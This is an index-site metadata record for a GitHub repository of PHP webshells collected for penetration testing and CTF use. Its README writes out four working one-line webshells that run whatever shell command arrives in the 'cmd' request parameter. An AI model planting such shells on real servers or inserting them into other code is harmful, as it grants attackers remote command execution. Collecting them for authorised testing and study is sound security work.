{"id":13778655,"url":"https://github.com/johntroony/php-webshells","last_synced_at":"2026-03-10T23:36:44.440Z","repository":{"id":45831085,"uuid":"22271553","full_name":"JohnTroony/php-webshells","owner":"JohnTroony","description":"Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server!","archived":false,"fork":false,"pushed_at":"2021-03-03T08:55:51.000Z","size":2427,"stargazers_count":1880,"open_issues_count":9,"forks_count":774,"subscribers_count":133,"default_branch":"master","last_synced_at":"2024-10-28T20:38:40.228Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/JohnTroony.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2014-07-25T21:33:23.000Z","updated_at":"2024-10-25T18:23:45.000Z","dependencies_parsed_at":"2022-08-12T12:21:11.285Z","dependency_job_id":null,"html_url":"https://github.com/JohnTroony/php-webshells","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JohnTroony%2Fphp-webshells","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JohnTroony%2Fphp-webshells/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JohnTroony%2Fphp-webshells/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JohnTroony%2Fphp-webshells/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/JohnTroony","download_url":"https://codeload.github.com/JohnTroony/php-webshells/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225048974,"owners_count":17412902,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T18:00:55.751Z","updated_at":"2025-12-17T02:19:14.523Z","avatar_url":"https://github.com/JohnTroony.png","language":"PHP","funding_links":[],"categories":["\u003ca id=\"8c5a692b5d26527ef346687e047c5c21\"\u003e\u003c/a\u003e收集","\u003ca id=\"e08366dcf7aa021c6973d9e2a8944dff\"\u003e\u003c/a\u003eWebshell收集"],"sub_categories":[],"readme":"Contributing\n============\n\nTo contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (as hosted in your localhost).\n\nPHP Webshells\n=============\n\nCommon PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge. \n\nDo not host any of the files on a publicly-accessible webserver (unless you know what you are up-to).\n\nThese are provided for education purposes only and legitimate PT cases.\n\nI'll keep updating the collection whnever I stumble on any new webshell.\n\nFYI\n====\n\n\nFor basic features, I recommend one-liners like :\n\n`\u003c?php echo passthru($_GET['cmd']); ?\u003e`\n\n`\u003c?php echo exec($_POST['cmd']); ?\u003e`\n\n`\u003c?php system($_GET['cmd']); ?\u003e`\n\n`\u003c?php passthru($_REQUEST['cmd']); ?\u003e`\n\n\nCite:\n=====\n\n```\n@software{jacques_pharand_2020_3748072,\n  author       = {Jacques Pharand and\n                  John Troon and\n                  Javier Izquierdo Vera},\n  title        = {JohnTroony/php-webshells: Collection CS1},\n  month        = apr,\n  year         = 2020,\n  publisher    = {Zenodo},\n  version      = {1.1},\n  doi          = {10.5281/zenodo.3748072},\n  url          = {https://doi.org/10.5281/zenodo.3748072}\n}\n\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjohntroony%2Fphp-webshells","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjohntroony%2Fphp-webshells","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjohntroony%2Fphp-webshells/lists"}